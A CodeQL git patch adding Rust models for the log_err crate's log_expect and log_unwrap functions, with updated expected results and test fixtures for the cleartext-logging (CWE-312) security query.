...::must_use(...) | -| test_logging.rs:201:44:201:69 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:201:44:201:69 | { ... } | semmle.label | { ... } | -| test_logging.rs:201:62:201:69 | password | semmle.label | password | -| test_logging.rs:202:30:202:38 | write_all | semmle.label | write_all | -| test_logging.rs:202:40:202:74 | res | semmle.label | res | -| test_logging.rs:202:40:202:85 | ... .as_bytes() | semmle.label | ... .as_bytes() | -| test_logging.rs:202:48:202:73 | ...::format(...) | semmle.label | ...::format(...) | -| test_logging.rs:202:48:202:73 | ...::must_use(...) | semmle.label | ...::must_use(...) | -| test_logging.rs:202:48:202:73 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:202:48:202:73 | { ... } | semmle.label | { ... } | -| test_logging.rs:202:66:202:73 | password | semmle.label | password | -| test_logging.rs:205:9:205:13 | write | semmle.label | write | -| test_logging.rs:205:15:205:49 | res | semmle.label | res | -| test_logging.rs:205:15:205:60 | ... .as_bytes() | semmle.label | ... .as_bytes() | -| test_logging.rs:205:23:205:48 | ...::format(...) | semmle.label | ...::format(...) | -| test_logging.rs:205:23:205:48 | ...::must_use(...) | semmle.label | ...::must_use(...) | -| test_logging.rs:205:23:205:48 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:205:23:205:48 | { ... } | semmle.label | { ... } | -| test_logging.rs:205:41:205:48 | password | semmle.label | password | -| test_logging.rs:208:9:208:13 | write | semmle.label | write | -| test_logging.rs:208:15:208:49 | res | semmle.label | res | -| test_logging.rs:208:15:208:60 | ... .as_bytes() | semmle.label | ... .as_bytes() | -| test_logging.rs:208:23:208:48 | ...::format(...) | semmle.label | ...::format(...) | -| test_logging.rs:208:23:208:48 | ...::must_use(...) | semmle.label | ...::must_use(...) | -| test_logging.rs:208:23:208:48 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:208:23:208:48 | { ... } | semmle.label | { ... } | -| test_logging.rs:208:41:208:48 | password | semmle.label | password | +| test_logging.rs:187:5:187:38 | ...::_print | semmle.label | ...::_print | +| test_logging.rs:187:12:187:37 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:187:30:187:37 | password | semmle.label | password | +| test_logging.rs:188:5:188:38 | ...::_print | semmle.label | ...::_print | +| test_logging.rs:188:14:188:37 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:188:30:188:37 | password | semmle.label | password | +| test_logging.rs:189:5:189:39 | ...::_eprint | semmle.label | ...::_eprint | +| test_logging.rs:189:13:189:38 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:189:31:189:38 | password | semmle.label | password | +| test_logging.rs:190:5:190:39 | ...::_eprint | semmle.label | ...::_eprint | +| test_logging.rs:190:15:190:38 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:190:31:190:38 | password | semmle.label | password | +| test_logging.rs:193:16:193:47 | ...::panic_fmt | semmle.label | ...::panic_fmt | +| test_logging.rs:193:23:193:46 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:193:39:193:46 | password | semmle.label | password | +| test_logging.rs:194:16:194:46 | ...::panic_fmt | semmle.label | ...::panic_fmt | +| test_logging.rs:194:22:194:45 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:194:38:194:45 | password | semmle.label | password | +| test_logging.rs:195:16:195:55 | ...::panic_fmt | semmle.label | ...::panic_fmt | +| test_logging.rs:195:31:195:54 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:195:47:195:54 | password | semmle.label | password | +| test_logging.rs:196:16:196:53 | ...::panic_fmt | semmle.label | ...::panic_fmt | +| test_logging.rs:196:29:196:52 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:196:45:196:52 | password | semmle.label | password | +| test_logging.rs:197:16:197:55 | ...::panic_fmt | semmle.label | ...::panic_fmt | +| test_logging.rs:197:31:197:54 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:197:47:197:54 | password | semmle.label | password | +| test_logging.rs:198:16:198:57 | ...::assert_failed | semmle.label | ...::assert_failed | +| test_logging.rs:198:33:198:56 | ...::Some(...) [Some] | semmle.label | ...::Some(...) [Some] | +| test_logging.rs:198:33:198:56 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:198:49:198:56 | password | semmle.label | password | +| test_logging.rs:199:16:199:57 | ...::assert_failed | semmle.label | ...::assert_failed | +| test_logging.rs:199:33:199:56 | ...::Some(...) [Some] | semmle.label | ...::Some(...) [Some] | +| test_logging.rs:199:33:199:56 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:199:49:199:56 | password | semmle.label | password | +| test_logging.rs:200:16:200:61 | ...::panic_fmt | semmle.label | ...::panic_fmt | +| test_logging.rs:200:37:200:60 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:200:53:200:60 | password | semmle.label | password | +| test_logging.rs:201:16:201:63 | ...::assert_failed | semmle.label | ...::assert_failed | +| test_logging.rs:201:39:201:62 | ...::Some(...) [Some] | semmle.label | ...::Some(...) [Some] | +| test_logging.rs:201:39:201:62 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:201:55:201:62 | password | semmle.label | password | +| test_logging.rs:202:17:202:64 | ...::assert_failed | semmle.label | ...::assert_failed | +| test_logging.rs:202:40:202:63 | ...::Some(...) [Some] | semmle.label | ...::Some(...) [Some] | +| test_logging.rs:202:40:202:63 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:202:56:202:63 | password | semmle.label | password | +| test_logging.rs:203:27:203:32 | expect | semmle.label | expect | +| test_logging.rs:203:34:203:66 | res | semmle.label | res | +| test_logging.rs:203:34:203:75 | ... .as_str() | semmle.label | ... .as_str() | +| test_logging.rs:203:42:203:65 | ...::format(...) | semmle.label | ...::format(...) | +| test_logging.rs:203:42:203:65 | ...::must_use(...) | semmle.label | ...::must_use(...) | +| test_logging.rs:203:42:203:65 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:203:42:203:65 | { ... } | semmle.label | { ... } | +| test_logging.rs:203:58:203:65 | password | semmle.label | password | +| test_logging.rs:209:30:209:34 | write | semmle.label | write | +| test_logging.rs:209:36:209:70 | res | semmle.label | res | +| test_logging.rs:209:36:209:81 | ... .as_bytes() | semmle.label | ... .as_bytes() | +| test_logging.rs:209:44:209:69 | ...::format(...) | semmle.label | ...::format(...) | +| test_logging.rs:209:44:209:69 | ...::must_use(...) | semmle.label | ...::must_use(...) | +| test_logging.rs:209:44:209:69 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:209:44:209:69 | { ... } | semmle.label | { ... } | +| test_logging.rs:209:62:209:69 | password | semmle.label | password | +| test_logging.rs:210:30:210:38 | write_all | semmle.label | write_all | +| test_logging.rs:210:40:210:74 | res | semmle.label | res | +| test_logging.rs:210:40:210:85 | ... .as_bytes() | semmle.label | ... .as_bytes() | +| test_logging.rs:210:48:210:73 | ...::format(...) | semmle.label | ...::format(...) | +| test_logging.rs:210:48:210:73 | ...::must_use(...) | semmle.label | ...::must_use(...) | +| test_logging.rs:210:48:210:73 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:210:48:210:73 | { ... } | semmle.label | { ... } | +| test_logging.rs:210:66:210:73 | password | semmle.label | password | +| test_logging.rs:213:9:213:13 | write | semmle.label | write | +| test_logging.rs:213:15:213:49 | res | semmle.label | res | +| test_logging.rs:213:15:213:60 | ... .as_bytes() | semmle.label | ... .as_bytes() | +| test_logging.rs:213:23:213:48 | ...::format(...) | semmle.label | ...::format(...) | +| test_logging.rs:213:23:213:48 | ...::must_use(...) | semmle.label | ...::must_use(...) | +| test_logging.rs:213:23:213:48 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:213:23:213:48 | { ... } | semmle.label | { ... } | +| test_logging.rs:213:41:213:48 | password | semmle.label | password | +| test_logging.rs:216:9:216:13 | write | semmle.label | write | +| test_logging.rs:216:15:216:49 | res | semmle.label | res | +| test_logging.rs:216:15:216:60 | ... .as_bytes() | semmle.label | ... .as_bytes() | +| test_logging.rs:216:23:216:48 | ...::format(...) | semmle.label | ...::format(...) | +| test_logging.rs:216:23:216:48 | ...::must_use(...) | semmle.label | ...::must_use(...) | +| test_logging.rs:216:23:216:48 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:216:23:216:48 | { ... } | semmle.label | { ... } | +| test_logging.rs:216:41:216:48 | password | semmle.label | password | subpaths diff --git a/rust/ql/test/query-tests/security/CWE-312/test_logging.rs b/rust/ql/test/query-tests/security/CWE-312/test_logging.rs index 852525521000..6202bcaa2f4b 100644 --- a/rust/ql/test/query-tests/security/CWE-312/test_logging.rs +++ b/rust/ql/test/query-tests/security/CWE-312/test_logging.rs @@ -148,31 +148,39 @@ fn test_log(harmless: String, password: String, encrypted_password: String) { warn!("message = {:?}", s2); // $ MISSING: Alert[rust/cleartext-logging]=s2 warn!("message = {:#?}", s2); // $ MISSING: Alert[rust/cleartext-logging]=s2 - // test log_expect with sensitive data let password2 = "123456".to_string(); // Create new password for this test - let sensitive_opt: Option = Some(password2.clone()); - // log_expect tests with LogErrOption trait - let _ = sensitive_opt.log_expect("Option is None"); // $ MISSING: Alert[rust/cleartext-logging] + // test `log_expect` with sensitive `Option.Some` (which is not output by `log_expect`) + let sensitive_opt: Option = Some(password2.clone()); + let _ = sensitive_opt.log_expect("Option is None"); - // log_expect tests with LogErrResult trait + // test `log_expect` with sensitive `Result.Ok` (which is not output by `log_expect`) let sensitive_result: Result = Ok(password2.clone()); - let _ = sensitive_result.log_expect("Result failed"); // $ MISSING: Alert[rust/cleartext-logging] + let _ = sensitive_result.log_expect("Result failed"); - // log_unwrap tests with LogErrOption trait + // test `log_unwrap` with sensitive `Option.Some` (which is not output by `log_unwrap`) let sensitive_opt2: Option = Some(password2.clone()); - let _ = sensitive_opt2.log_unwrap(); // $ MISSING: Alert[rust/cleartext-logging] + let _ = sensitive_opt2.log_unwrap(); - // log_unwrap tests with LogErrResult trait + // test `log_unwrap` with sensitive `Result.Ok` (which is not output by `log_unwrap`) let sensitive_result2: Result = Ok(password2.clone()); - let _ = sensitive_result2.log_unwrap(); // $ MISSING: Alert[rust/cleartext-logging] + let _ = sensitive_result2.log_unwrap(); - // Negative cases that should fail and log + // test `log_expect` on `Option` with sensitive message let none_opt: Option = None; let _ = none_opt.log_expect(&format!("Failed with password: {}", password2)); // $ MISSING: Alert[rust/cleartext-logging] - let err_result: Result = Err(password2); - let _ = err_result.log_unwrap(); // $ MISSING: Alert[rust/cleartext-logging] + // test `log_expect` on `Result` with sensitive message + let err_result: Result = Err(""); + let _ = err_result.log_expect(&format!("Failed with password: {}", password2)); // $ MISSING: Alert[rust/cleartext-logging] + + // test `log_expect` with sensitive `Result.Err` + let err_result2: Result = Err(password2.clone()); + let _ = err_result2.log_expect(""); // $ MISSING: Alert[rust/cleartext-logging] + + // test `log_unwrap` with sensitive `Result.Err` + let err_result3: Result = Err(password2); + let _ = err_result3.log_unwrap(); // $ MISSING: Alert[rust/cleartext-logging] } fn test_std(password: String, i: i32, opt_i: Option) { From e96e39c3d37552c6b178c404a1e30e3210632257 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Tue, 20 May 2025 15:51:25 +0100 Subject: [PATCH 248/535] Rust: Model log_err. --- .../lib/codeql/rust/frameworks/log.model.yml | 4 + .../CWE-312/CleartextLogging.expected | 175 ++++++++++++------ .../security/CWE-312/test_logging.rs | 8 +- 3 files changed, 123 insertions(+), 64 deletions(-) diff --git a/rust/ql/lib/codeql/rust/frameworks/log.model.yml b/rust/ql/lib/codeql/rust/frameworks/log.model.yml index d6ac223742f8..15f45c400934 100644 --- a/rust/ql/lib/codeql/rust/frameworks/log.model.yml +++ b/rust/ql/lib/codeql/rust/frameworks/log.model.yml @@ -17,3 +17,7 @@ extensions: - ["lang:core", "crate::panicking::panic_fmt", "Argument[0]", "log-injection", "manual"] - ["lang:core", "crate::panicking::assert_failed", "Argument[3].Field[crate::option::Option::Some(0)]", "log-injection", "manual"] - ["lang:core", "::expect", "Argument[0]", "log-injection", "manual"] + - ["repo:https://github.com/DesmondWillowbrook/rs-log_err:log_err", "::log_expect", "Argument[0]", "log-injection", "manual"] + - ["repo:https://github.com/DesmondWillowbrook/rs-log_err:log_err", "::log_unwrap", "Argument[self].Field[crate::result::Result::Err(0)]", "log-injection", "manual"] + - ["repo:https://github.com/DesmondWillowbrook/rs-log_err:log_err", "::log_expect", "Argument[0]", "log-injection", "manual"] + - ["repo:https://github.com/DesmondWillowbrook/rs-log_err:log_err", "::log_expect", "Argument[self].Field[crate::result::Result::Err(0)]", "log-injection", "manual"] diff --git a/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected b/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected index 4d76ae3b5a52..c21ce5b8aefa 100644 --- a/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected +++ b/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected @@ -28,6 +28,9 @@ | test_logging.rs:101:5:101:19 | ...::log | test_logging.rs:100:38:100:45 | password | test_logging.rs:101:5:101:19 | ...::log | This operation writes $@ to a log file. | test_logging.rs:100:38:100:45 | password | password | | test_logging.rs:119:5:119:42 | ...::log | test_logging.rs:119:28:119:41 | get_password(...) | test_logging.rs:119:5:119:42 | ...::log | This operation writes $@ to a log file. | test_logging.rs:119:28:119:41 | get_password(...) | get_password(...) | | test_logging.rs:132:5:132:32 | ...::log | test_logging.rs:130:25:130:32 | password | test_logging.rs:132:5:132:32 | ...::log | This operation writes $@ to a log file. | test_logging.rs:130:25:130:32 | password | password | +| test_logging.rs:171:22:171:31 | log_expect | test_logging.rs:171:70:171:78 | password2 | test_logging.rs:171:22:171:31 | log_expect | This operation writes $@ to a log file. | test_logging.rs:171:70:171:78 | password2 | password2 | +| test_logging.rs:175:24:175:33 | log_expect | test_logging.rs:175:72:175:80 | password2 | test_logging.rs:175:24:175:33 | log_expect | This operation writes $@ to a log file. | test_logging.rs:175:72:175:80 | password2 | password2 | +| test_logging.rs:183:25:183:34 | log_unwrap | test_logging.rs:182:51:182:59 | password2 | test_logging.rs:183:25:183:34 | log_unwrap | This operation writes $@ to a log file. | test_logging.rs:182:51:182:59 | password2 | password2 | | test_logging.rs:187:5:187:38 | ...::_print | test_logging.rs:187:30:187:37 | password | test_logging.rs:187:5:187:38 | ...::_print | This operation writes $@ to a log file. | test_logging.rs:187:30:187:37 | password | password | | test_logging.rs:188:5:188:38 | ...::_print | test_logging.rs:188:30:188:37 | password | test_logging.rs:188:5:188:38 | ...::_print | This operation writes $@ to a log file. | test_logging.rs:188:30:188:37 | password | password | | test_logging.rs:189:5:189:39 | ...::_eprint | test_logging.rs:189:31:189:38 | password | test_logging.rs:189:5:189:39 | ...::_eprint | This operation writes $@ to a log file. | test_logging.rs:189:31:189:38 | password | password | @@ -48,106 +51,130 @@ | test_logging.rs:213:9:213:13 | write | test_logging.rs:213:41:213:48 | password | test_logging.rs:213:9:213:13 | write | This operation writes $@ to a log file. | test_logging.rs:213:41:213:48 | password | password | | test_logging.rs:216:9:216:13 | write | test_logging.rs:216:41:216:48 | password | test_logging.rs:216:9:216:13 | write | This operation writes $@ to a log file. | test_logging.rs:216:41:216:48 | password | password | edges -| test_logging.rs:43:12:43:35 | MacroExpr | test_logging.rs:43:5:43:36 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:43:12:43:35 | MacroExpr | test_logging.rs:43:5:43:36 | ...::log | provenance | MaD:12 Sink:MaD:12 | | test_logging.rs:43:28:43:35 | password | test_logging.rs:43:12:43:35 | MacroExpr | provenance | | -| test_logging.rs:44:12:44:35 | MacroExpr | test_logging.rs:44:5:44:36 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:44:12:44:35 | MacroExpr | test_logging.rs:44:5:44:36 | ...::log | provenance | MaD:12 Sink:MaD:12 | | test_logging.rs:44:28:44:35 | password | test_logging.rs:44:12:44:35 | MacroExpr | provenance | | -| test_logging.rs:45:11:45:34 | MacroExpr | test_logging.rs:45:5:45:35 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:45:11:45:34 | MacroExpr | test_logging.rs:45:5:45:35 | ...::log | provenance | MaD:12 Sink:MaD:12 | | test_logging.rs:45:27:45:34 | password | test_logging.rs:45:11:45:34 | MacroExpr | provenance | | -| test_logging.rs:46:12:46:35 | MacroExpr | test_logging.rs:46:5:46:36 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:46:12:46:35 | MacroExpr | test_logging.rs:46:5:46:36 | ...::log | provenance | MaD:12 Sink:MaD:12 | | test_logging.rs:46:28:46:35 | password | test_logging.rs:46:12:46:35 | MacroExpr | provenance | | -| test_logging.rs:47:11:47:34 | MacroExpr | test_logging.rs:47:5:47:35 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:47:11:47:34 | MacroExpr | test_logging.rs:47:5:47:35 | ...::log | provenance | MaD:12 Sink:MaD:12 | | test_logging.rs:47:27:47:34 | password | test_logging.rs:47:11:47:34 | MacroExpr | provenance | | -| test_logging.rs:48:24:48:47 | MacroExpr | test_logging.rs:48:5:48:48 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:48:24:48:47 | MacroExpr | test_logging.rs:48:5:48:48 | ...::log | provenance | MaD:12 Sink:MaD:12 | | test_logging.rs:48:40:48:47 | password | test_logging.rs:48:24:48:47 | MacroExpr | provenance | | -| test_logging.rs:53:12:53:35 | MacroExpr | test_logging.rs:53:5:53:36 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:53:12:53:35 | MacroExpr | test_logging.rs:53:5:53:36 | ...::log | provenance | MaD:12 Sink:MaD:12 | | test_logging.rs:53:28:53:35 | password | test_logging.rs:53:12:53:35 | MacroExpr | provenance | | -| test_logging.rs:55:12:55:48 | MacroExpr | test_logging.rs:55:5:55:49 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:55:12:55:48 | MacroExpr | test_logging.rs:55:5:55:49 | ...::log | provenance | MaD:12 Sink:MaD:12 | | test_logging.rs:55:41:55:48 | password | test_logging.rs:55:12:55:48 | MacroExpr | provenance | | -| test_logging.rs:57:12:57:46 | MacroExpr | test_logging.rs:57:5:57:47 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:57:12:57:46 | MacroExpr | test_logging.rs:57:5:57:47 | ...::log | provenance | MaD:12 Sink:MaD:12 | | test_logging.rs:57:39:57:46 | password | test_logging.rs:57:12:57:46 | MacroExpr | provenance | | -| test_logging.rs:58:12:58:33 | MacroExpr | test_logging.rs:58:5:58:34 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:58:12:58:33 | MacroExpr | test_logging.rs:58:5:58:34 | ...::log | provenance | MaD:12 Sink:MaD:12 | | test_logging.rs:58:24:58:31 | password | test_logging.rs:58:12:58:33 | MacroExpr | provenance | | -| test_logging.rs:59:12:59:35 | MacroExpr | test_logging.rs:59:5:59:36 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:59:12:59:35 | MacroExpr | test_logging.rs:59:5:59:36 | ...::log | provenance | MaD:12 Sink:MaD:12 | | test_logging.rs:59:24:59:31 | password | test_logging.rs:59:12:59:35 | MacroExpr | provenance | | -| test_logging.rs:61:30:61:53 | MacroExpr | test_logging.rs:61:5:61:54 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:61:30:61:53 | MacroExpr | test_logging.rs:61:5:61:54 | ...::log | provenance | MaD:12 Sink:MaD:12 | | test_logging.rs:61:46:61:53 | password | test_logging.rs:61:30:61:53 | MacroExpr | provenance | | -| test_logging.rs:62:20:62:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:62:5:62:55 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | -| test_logging.rs:62:20:62:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:62:5:62:55 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 Sink:MaD:10 | -| test_logging.rs:62:20:62:28 | &... [&ref, tuple.0] | test_logging.rs:62:5:62:55 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | +| test_logging.rs:62:20:62:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:62:5:62:55 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 | +| test_logging.rs:62:20:62:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:62:5:62:55 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 Sink:MaD:13 | +| test_logging.rs:62:20:62:28 | &... [&ref, tuple.0] | test_logging.rs:62:5:62:55 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 | | test_logging.rs:62:20:62:28 | &password | test_logging.rs:62:20:62:28 | TupleExpr [tuple.0] | provenance | | | test_logging.rs:62:20:62:28 | &password [&ref] | test_logging.rs:62:20:62:28 | TupleExpr [tuple.0, &ref] | provenance | | | test_logging.rs:62:20:62:28 | TupleExpr [tuple.0, &ref] | test_logging.rs:62:20:62:28 | &... [&ref, tuple.0, &ref] | provenance | | | test_logging.rs:62:20:62:28 | TupleExpr [tuple.0] | test_logging.rs:62:20:62:28 | &... [&ref, tuple.0] | provenance | | | test_logging.rs:62:21:62:28 | password | test_logging.rs:62:20:62:28 | &password | provenance | Config | | test_logging.rs:62:21:62:28 | password | test_logging.rs:62:20:62:28 | &password [&ref] | provenance | | -| test_logging.rs:66:24:66:47 | MacroExpr | test_logging.rs:66:5:66:48 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:66:24:66:47 | MacroExpr | test_logging.rs:66:5:66:48 | ...::log | provenance | MaD:12 Sink:MaD:12 | | test_logging.rs:66:40:66:47 | password | test_logging.rs:66:24:66:47 | MacroExpr | provenance | | -| test_logging.rs:68:42:68:65 | MacroExpr | test_logging.rs:68:5:68:66 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:68:42:68:65 | MacroExpr | test_logging.rs:68:5:68:66 | ...::log | provenance | MaD:12 Sink:MaD:12 | | test_logging.rs:68:58:68:65 | password | test_logging.rs:68:42:68:65 | MacroExpr | provenance | | -| test_logging.rs:69:18:69:26 | &... [&ref, tuple.0, &ref] | test_logging.rs:69:5:69:67 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | -| test_logging.rs:69:18:69:26 | &... [&ref, tuple.0, &ref] | test_logging.rs:69:5:69:67 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 Sink:MaD:10 | -| test_logging.rs:69:18:69:26 | &... [&ref, tuple.0] | test_logging.rs:69:5:69:67 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | +| test_logging.rs:69:18:69:26 | &... [&ref, tuple.0, &ref] | test_logging.rs:69:5:69:67 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 | +| test_logging.rs:69:18:69:26 | &... [&ref, tuple.0, &ref] | test_logging.rs:69:5:69:67 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 Sink:MaD:13 | +| test_logging.rs:69:18:69:26 | &... [&ref, tuple.0] | test_logging.rs:69:5:69:67 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 | | test_logging.rs:69:18:69:26 | &password | test_logging.rs:69:18:69:26 | TupleExpr [tuple.0] | provenance | | | test_logging.rs:69:18:69:26 | &password [&ref] | test_logging.rs:69:18:69:26 | TupleExpr [tuple.0, &ref] | provenance | | | test_logging.rs:69:18:69:26 | TupleExpr [tuple.0, &ref] | test_logging.rs:69:18:69:26 | &... [&ref, tuple.0, &ref] | provenance | | | test_logging.rs:69:18:69:26 | TupleExpr [tuple.0] | test_logging.rs:69:18:69:26 | &... [&ref, tuple.0] | provenance | | | test_logging.rs:69:19:69:26 | password | test_logging.rs:69:18:69:26 | &password | provenance | Config | | test_logging.rs:69:19:69:26 | password | test_logging.rs:69:18:69:26 | &password [&ref] | provenance | | -| test_logging.rs:73:23:73:46 | MacroExpr | test_logging.rs:73:5:73:47 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:73:23:73:46 | MacroExpr | test_logging.rs:73:5:73:47 | ...::log | provenance | MaD:12 Sink:MaD:12 | | test_logging.rs:73:39:73:46 | password | test_logging.rs:73:23:73:46 | MacroExpr | provenance | | -| test_logging.rs:75:41:75:64 | MacroExpr | test_logging.rs:75:5:75:65 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:75:41:75:64 | MacroExpr | test_logging.rs:75:5:75:65 | ...::log | provenance | MaD:12 Sink:MaD:12 | | test_logging.rs:75:57:75:64 | password | test_logging.rs:75:41:75:64 | MacroExpr | provenance | | -| test_logging.rs:76:20:76:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:76:5:76:51 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | -| test_logging.rs:76:20:76:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:76:5:76:51 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 Sink:MaD:10 | -| test_logging.rs:76:20:76:28 | &... [&ref, tuple.0] | test_logging.rs:76:5:76:51 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | +| test_logging.rs:76:20:76:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:76:5:76:51 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 | +| test_logging.rs:76:20:76:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:76:5:76:51 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 Sink:MaD:13 | +| test_logging.rs:76:20:76:28 | &... [&ref, tuple.0] | test_logging.rs:76:5:76:51 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 | | test_logging.rs:76:20:76:28 | &password | test_logging.rs:76:20:76:28 | TupleExpr [tuple.0] | provenance | | | test_logging.rs:76:20:76:28 | &password [&ref] | test_logging.rs:76:20:76:28 | TupleExpr [tuple.0, &ref] | provenance | | | test_logging.rs:76:20:76:28 | TupleExpr [tuple.0, &ref] | test_logging.rs:76:20:76:28 | &... [&ref, tuple.0, &ref] | provenance | | | test_logging.rs:76:20:76:28 | TupleExpr [tuple.0] | test_logging.rs:76:20:76:28 | &... [&ref, tuple.0] | provenance | | | test_logging.rs:76:21:76:28 | password | test_logging.rs:76:20:76:28 | &password | provenance | Config | | test_logging.rs:76:21:76:28 | password | test_logging.rs:76:20:76:28 | &password [&ref] | provenance | | -| test_logging.rs:77:23:77:46 | MacroExpr | test_logging.rs:77:5:77:47 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:77:23:77:46 | MacroExpr | test_logging.rs:77:5:77:47 | ...::log | provenance | MaD:12 Sink:MaD:12 | | test_logging.rs:77:39:77:46 | password | test_logging.rs:77:23:77:46 | MacroExpr | provenance | | -| test_logging.rs:83:20:83:43 | MacroExpr | test_logging.rs:83:5:83:44 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:83:20:83:43 | MacroExpr | test_logging.rs:83:5:83:44 | ...::log | provenance | MaD:12 Sink:MaD:12 | | test_logging.rs:83:36:83:43 | password | test_logging.rs:83:20:83:43 | MacroExpr | provenance | | -| test_logging.rs:85:38:85:61 | MacroExpr | test_logging.rs:85:5:85:62 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:85:38:85:61 | MacroExpr | test_logging.rs:85:5:85:62 | ...::log | provenance | MaD:12 Sink:MaD:12 | | test_logging.rs:85:54:85:61 | password | test_logging.rs:85:38:85:61 | MacroExpr | provenance | | -| test_logging.rs:86:20:86:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:86:5:86:48 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | -| test_logging.rs:86:20:86:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:86:5:86:48 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 Sink:MaD:10 | -| test_logging.rs:86:20:86:28 | &... [&ref, tuple.0] | test_logging.rs:86:5:86:48 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | +| test_logging.rs:86:20:86:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:86:5:86:48 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 | +| test_logging.rs:86:20:86:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:86:5:86:48 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 Sink:MaD:13 | +| test_logging.rs:86:20:86:28 | &... [&ref, tuple.0] | test_logging.rs:86:5:86:48 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 | | test_logging.rs:86:20:86:28 | &password | test_logging.rs:86:20:86:28 | TupleExpr [tuple.0] | provenance | | | test_logging.rs:86:20:86:28 | &password [&ref] | test_logging.rs:86:20:86:28 | TupleExpr [tuple.0, &ref] | provenance | | | test_logging.rs:86:20:86:28 | TupleExpr [tuple.0, &ref] | test_logging.rs:86:20:86:28 | &... [&ref, tuple.0, &ref] | provenance | | | test_logging.rs:86:20:86:28 | TupleExpr [tuple.0] | test_logging.rs:86:20:86:28 | &... [&ref, tuple.0] | provenance | | | test_logging.rs:86:21:86:28 | password | test_logging.rs:86:20:86:28 | &password | provenance | Config | | test_logging.rs:86:21:86:28 | password | test_logging.rs:86:20:86:28 | &password [&ref] | provenance | | -| test_logging.rs:87:20:87:43 | MacroExpr | test_logging.rs:87:5:87:44 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:87:20:87:43 | 